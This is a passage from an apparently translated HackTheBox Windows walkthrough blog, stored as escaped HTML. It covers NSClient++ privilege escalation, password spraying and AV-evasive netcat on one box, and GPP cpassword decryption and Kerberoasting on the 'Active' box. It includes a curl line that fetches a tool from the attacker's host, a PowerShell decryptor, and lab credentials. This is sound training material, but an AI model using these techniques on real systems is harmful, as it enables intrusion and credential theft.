uploading the passwords. He has another secret file on sharepoint, and removing public access to NVMS (which he clearly didn&amp;rsquo;t get around to, or I wouldn&amp;rsquo;t have been able to access it).&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0252.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, there was an arbitrary file-read vulnerability, so I could read the password file.&lt;/p&gt;&#10;&lt;p&gt;For some reason, I couldn&amp;rsquo;t get the exploit to work. Doing it manually worked, though, so it was probably an issue with my parameters.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0253.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0254.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got the passwords. The target currently has quite a few services open, so I&amp;rsquo;d have to try these passwords against them one by one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nathan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1nsp3ctTh3Way2Mars!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Th3r34r3To0M4nyTrait0r5!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;B3WithM30r4ga1n5tMe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;L1k3B1gBut7s@W0rk&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0nly7h3y0unGWi11F0l10w&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IfH3s4b0Utg0t0H1sH0me&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Gr4etN3w5w17hMySk1Pa5$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;None of these passwords worked with hydra against ftp or ssh. I couldn&amp;rsquo;t figure out why hydra wouldn&amp;rsquo;t brute-force smb either.&lt;/p&gt;&#10;&lt;p&gt;The NVMS service on port 80 really was inaccessible, and the NSClient service on port 8443 had been shut off just as the note said.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0255.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried the passwords manually against smb as well, but none of them were correct.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;d only been trying the nathan user before. There was also a Nadine user I hadn&amp;rsquo;t tested yet.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0256.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0257.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a shell.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation:&lt;/p&gt;&#10;&lt;p&gt;Following the hint, I first went looking for the password file in sharepoint. The note also said he was going to upload “password,” but I wasn&amp;rsquo;t sure whether that meant the passwords.txt file or something else, so I searched for that at the same time.&lt;/p&gt;&#10;&lt;p&gt;I probably wasn&amp;rsquo;t going to find the password anymore because my current user couldn&amp;rsquo;t access nathan&amp;rsquo;s files. The only arbitrary file-read primitive I had didn&amp;rsquo;t reveal the directory structure, so there wasn&amp;rsquo;t much I could do with it. Basic enumeration didn&amp;rsquo;t turn up any hidden files in nadine&amp;rsquo;s home directory, so I decided to run a scan first.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://10.10.16.2:33333/winPEASany.exe -o .\winPEASany.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0258.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was deleted as soon as I uploaded it, and I wasn&amp;rsquo;t allowed to view systeminfo either. So I went to look for the sharepoint location mentioned in the note first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0259.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While looking for sharepoint, I found sshconfig. Unfortunately, public-key authentication was disabled; otherwise, I could at least have read nathan&amp;rsquo;s public key.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0260.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find the NSClient++ password or NSC.ini either. I never found sharepoint afterward—there simply wasn&amp;rsquo;t a directory by that name.&lt;/p&gt;&#10;&lt;p&gt;I then started searching for exploits and found that NSClient++ apparently had a local privilege-escalation vulnerability. I couldn&amp;rsquo;t find a local file that revealed the version, but I decided to follow the guide anyway, mainly because it mentioned another password file.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/46802" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/46802&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0261.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0262.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, the guide worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;password = ew2x6SsGTxjRwXOT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The second step said these modules had to be enabled.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0263.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0264.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I wanted to check whether the startup parameters included them, but unfortunately I couldn&amp;rsquo;t access that information. I could only assume it had been launched with those parameters.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0265.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The guide seemed to require using the web interface. Judging by the listening port, 8443 should have been accessible from every IP rather than bound locally. But the hint had said that NSClient++ was locked down and couldn&amp;rsquo;t be accessed, so I first tried connecting to it locally.&lt;/p&gt;&#10;&lt;p&gt;While searching, I found a few scripts that worked through the API, which meant I wouldn&amp;rsquo;t have to click through the interface manually. I also had to upload an AV-evasive netcat build to keep it from being deleted, confirming that the target had antivirus software installed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0266.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried these exploits, but every single one threw an error. Then I tried accessing the service locally.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0267.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It would just hang like this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0268.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The target didn&amp;rsquo;t have python.exe either. If it had, I could have uploaded the exploit and run it locally. At this point, it looked like my only option was to set up an frp tunnel.&lt;/p&gt;&#10;&lt;p&gt;After setting up the tunnel, https still failed to resolve properly, so I still couldn&amp;rsquo;t access it locally.&lt;/p&gt;&#10;&lt;p&gt;At this point, my only option was to package those exploits as an exe and upload it, because I still felt the service ought to be reachable locally.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0269.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0270.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Project: &lt;a class="link" href="https://github.com/xtizi/NSClient-0.5.2.35---Privilege-Escalation/blob/master/exploit.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/xtizi/NSClient-0.5.2.35&amp;mdash;Privilege-Escalation/blob/master/exploit.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I finally understood why the rating was so low. Overall, though, the box wasn&amp;rsquo;t too bad. At the time, I thought this route might be a dead end and that I might need to investigate NVMS1000 instead. But all the NVMS vulnerabilities I could find were directory traversal issues, with nothing useful for privilege escalation, while every search for NSClient turned up RCE and privilege-escalation vulnerabilities. The problem was that there was no complete attack chain supporting this route—it all came down to guesswork. First, I had no way to confirm the version. All I had was a log file whose newest timestamps appeared to be from 2016. Second, even connecting with Netcat locally gave me no indication that the service actually existed. By the time I was testing it, the whole idea felt impossible. Maybe the hint:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0271.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;was meant to tell me that it could only be accessed locally. Also, “sharepoint” doesn&amp;rsquo;t necessarily refer only to Microsoft&amp;rsquo;s product; it can also mean a web location. All in all, it was still a pretty interesting box. The low rating may be because the target had antivirus installed, making many tools unusable. Afterward, I started experimenting with how to access the https site locally as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0272.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Adding -k is sufficient&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -k https://localhost:8443/index.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# I omitted the file, so I did not receive the redirect and assumed the response was empty&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Add -L here to follow redirects&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -k https://localhost:8443/ -L&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="13active"&gt;&lt;a href="#13active" class="header-anchor"&gt;&lt;/a&gt;13.Active&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0273.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;smb&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0274.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;By default, two folders allow anonymous access, while another two require you to log in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0275.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It looks like users requires a login too.&lt;/p&gt;&#10;&lt;p&gt;When I started digging through those folders, I realized I seemed to have learned about this SYSVOL thing before.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/1653?time__1311=n4%2BxniitG%3DDtdDKi%3D%3DDs03xCq7KGQ%3D8GeCoK7e4D" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/1653?time__1311=n4%2BxniitG%3DDtdDKi%3D%3DDs03xCq7KGQ%3D8GeCoK7e4D&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://adsecurity.org/?p=2288" target="_blank" rel="noopener"&#10; &gt;https://adsecurity.org/?p=2288&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0276.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After some searching, I managed to dig up the password as well.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function Get-DecryptedCpassword {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [CmdletBinding()]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Param (&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [string] $Cpassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; )&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; #Append appropriate padding based on string length&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $Mod = ($Cpassword.length % 4)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; switch ($Mod) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;1&amp;#39; {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;2&amp;#39; {$Cpassword += (&amp;#39;=&amp;#39; * (4 - $Mod))}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;3&amp;#39; {$Cpassword += (&amp;#39;=&amp;#39; * (4 - $Mod))}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $Base64Decoded = [Convert]::FromBase64String($Cpassword)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; #Create a new AES .NET Crypto Object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; #Set IV to all nulls to prevent dynamic generation of IV value&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $AesIV = New-Object Byte[]($AesObject.IV.Length)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $AesObject.IV = $AesIV&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $AesObject.Key = $AesKey&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $DecryptorObject = $AesObject.CreateDecryptor()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; catch {Write-Error $Error[0]}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DecryptedCpassword &amp;#34;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0277.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It decrypted successfully.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;active.htb\SVC_TGS&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GPPstillStandingStrong2k18&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I checked things one by one, then came back to the SMB service before looking at the others. Users was accessible now.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0278.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0279.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It really was the Users folder, and I got the flag.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0280.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no constrained delegation.&lt;/p&gt;&#10;&lt;p&gt;I spent a long time trying things next, mostly the two commands below. In fact, I should have just tried GetUserSPNs and been done with it, since that was exactly what the hint pointed to. I simply hadn&amp;rsquo;t read the error carefully at the time.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py DC.active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip active.htb -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python getST.py -dc-ip active.htb -spn cifs/DC.active.htb -impersonate Administrator active.htb/SVC_TGS:GPPstillStandingStrong2k18&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0281.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The command below can adjust the time, but the error comes back again a few seconds after the adjustment.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntpdate -u active.htb &amp;amp;&amp;amp; date&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@danieldantebarnes/fixing-the-kerberos-sessionerror-krb-ap-err-skew-clock-skew-too-great-issue-while-kerberoasting-b60b0fe20069&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This tutorial solved the problem and let me set the time correctly.&lt;/p&gt;&#10;&lt;p&gt;Anyway, I got the hash.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0282.zh.webp" alt="" loading="lazy" 